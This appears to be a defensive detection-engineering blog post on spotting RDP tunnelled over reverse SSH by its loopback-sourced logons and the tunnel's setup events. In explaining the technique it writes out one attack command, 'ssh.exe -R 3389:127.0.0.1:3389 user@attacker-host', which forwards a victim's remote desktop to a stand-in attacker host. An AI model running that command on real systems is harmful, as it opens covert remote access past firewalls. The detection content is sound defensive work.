RDP sourced from 127.0.0.1: catching remote desktop tunneled over reverse SSH
An attacker who can't reach RDP through the firewall can still pull the session out over a reverse SSH tunnel, and the giveaway is a remote desktop logon whose source address is the loopback. Here is how we detect it in 2026.
Remote Desktop is loud and everyone watches it, so an operator who wants it rarely exposes it to the network directly. If the target sits behind NAT or a firewall that blocks inbound 3389, the move is to make the connection go outbound instead: open an SSH session from the victim to a box the attacker controls, and ask that session to forward a port backwards. The attacker then connects to their own machine on the forwarded port, and the traffic surfaces on the victim as a connection to itself. That last part is the tell, and it has survived almost unchanged for years, which is why it is worth a fresh look in 2026.
We tested this against Windows 11 24H2 talking to Windows Server 2022, with Sysmon 15 and the Defender for Endpoint device timeline for corroboration.
The move, mechanically
Historically this needed a dropped binary: plink.exe, the PuTTY command-line client, with the -R flag pointed at an attacker SSH server. The change worth noting since the earlier writeups is that you no longer have to bring your own client. Windows ships the OpenSSH client as an optional feature that is present on a lot of builds already, so ssh.exe -R 3389:127.0.0.1:3389 user@attacker-host does the same job with a Microsoft-signed binary. Reverse port forwarding tells the remote SSH server to listen on a port and shovel anything that arrives back down the tunnel to 127.0.0.1:3389 on the victim. From the RDP service’s point of view, the client is local.
OpenSSH being in the box now matters for detection, because “unknown binary made an outbound SSH connection” is a weaker signal than it used to be. Microsoft’s OpenSSH on Windows overview covers what’s shipped and where.
The tell: a remote desktop session sourced from the loopback
Here is the part that does not change no matter which SSH client is used. The RDP server records where each session came from, and a tunneled session comes from 127.0.0.1. Three places show it:
- Security log Event ID 4624, logon type 10 (RemoteInteractive), with an IpAddress of
127.0.0.1. A real remote desktop logon has a routable source. A loopback source on a type-10 logon is about as close as telemetry gets to a definition of “this session was tunneled.” - The
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operationallog, Event ID 1149, showing a source network address of the loopback or LOCAL. - Sysmon Event ID 3, a network connection to
127.0.0.1on port 3389, pairing the loopback listener with the process that opened it.
We alert on the first one and use the other two to confirm. A type-10 logon from 127.0.0.1 has almost no legitimate analogue, which is rare enough to be worth appreciating.
The reason the loopback source is unavoidable is worth sitting with, because it explains why this holds up. The reverse tunnel terminates on the victim as a listener bound to the loopback interface, so when the attacker connects through their SSH server the packets are handed to the RDP service from 127.0.0.1. There is no way to tunnel the desktop out this way and also present a routable client address, because the client genuinely is the local machine as far as the service can see. Everything downstream of that, the 4624, the 1149, the Sysmon connection, inherits the loopback. That is a structural property of the technique, not a configuration you can harden away, which is exactly what you want in a detection signal.
Catching the tunnel, not just the session
The loopback logon is the cleanest signal, but we also watch the tunnel setup because it gives earlier warning. Sysmon Event ID 1 for ssh.exe or plink.exe carrying -R (or the long-form remote-forward argument) on the command line is the direct catch, mapped to T1572. Sysmon Event ID 3 showing an outbound connection to a non-corporate host on port 22, or on some odd high port where the attacker parked their SSH daemon, from a workstation that has no reason to speak SSH outbound, is the network catch. And because RDP is the whole point of the exercise, this sits alongside your normal remote-services monitoring for T1021.001; what makes it different is the direction and the loopback.
Look, the reason this technique keeps working is that most RDP detection keys on the destination, someone connected to a sensitive host, and never checks the source address of the session. Add the source check and a whole class of tunneled-desktop tradecraft lights up, whether the tunnel is SSH, a SOCKS proxy, or one of the commercial utilities that do the same thing over HTTPS.
What trips it
Not much, which is what makes it a good rule, but it is not zero. Some remote-support and screen-sharing products loop RDP or a similar protocol through a local relay agent, which can produce a loopback-sourced session that is entirely benign. A handful of load balancers and connection brokers terminate locally too. The honest answer is that on a given network there are usually one or two of these; you find them the first week the rule is on, you tune them out by the relay process or the account they run as, and after that it is quiet. If your environment legitimately runs SSH from workstations, and developer fleets do, the tunnel-setup rule is noisier than the loopback-logon rule, so weight your alerting toward the logon and treat the outbound SSH as context. This catches the tradecraft, not every conceivable variant, but the loopback logon is genuinely hard to avoid if you want RDP through a reverse tunnel.
Widening it out
The same idea generalizes. Any interactive-session protocol arriving from 127.0.0.1 or ::1 deserves a look, because a local-sourced interactive logon almost always means something in front of it relayed the connection. We fold this into the broader picture of how hosts reach one another in ways they normally would not, which is the theme of an older lateral-movement hunt on this site, and it sits next to the question of how much protection Network Level Authentication actually buys you once a session is already tunneled, which we got into in the write-up on NLA’s impact. The reference worth keeping open for the exact fields Event ID 3 gives you is the Sysmon documentation.
Watch the source address, not just the destination. The tunnel has to lie about one thing, and that is the one thing it can’t hide.
detection-engineeringlateral-movementrdpprotocol-tunnelingsysmon